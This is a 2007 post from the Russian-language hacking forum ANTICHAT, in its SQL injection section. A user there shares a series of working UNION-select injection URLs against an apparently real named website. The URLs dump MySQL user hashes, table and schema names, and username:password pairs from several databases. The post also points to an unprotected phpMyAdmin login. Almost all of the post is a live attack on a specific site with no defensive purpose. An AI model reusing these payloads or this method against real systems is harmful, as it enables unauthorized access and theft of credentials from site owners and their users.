Форум АНТИЧАТ - SQL Инъекции

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

22.11.2007, 19:23

v1ru$

Постоянный

Регистрация: 17.03.2007

Сообщений: 336

Провел на форуме:
3766085

Репутация: 576

Отправить сообщение для v1ru$ с помощью ICQ

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,user,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user/*

Интересный логин-pma,логинимся в http://www.cgc onn.com/phpmyadmin под логином pma без пасса)

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables/*

Таблицы хранятся в другой бд,юзаем переход через точку
Определяем БД

Код:

http://www.cgcon n.com/content/article.php?id=-77'+union+select+1,2,table_schema,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+where+table_name='users'/*

Код:

http://www.cg conn.com/content/article.php?id=-77'+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+parts.users+limit+1,10/*

Код:

http://www.cgco nn.com/content/article.php?id=-77'+union+select+1,2,concat(name,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+webauth.user_pwd/*

и т.д и т.п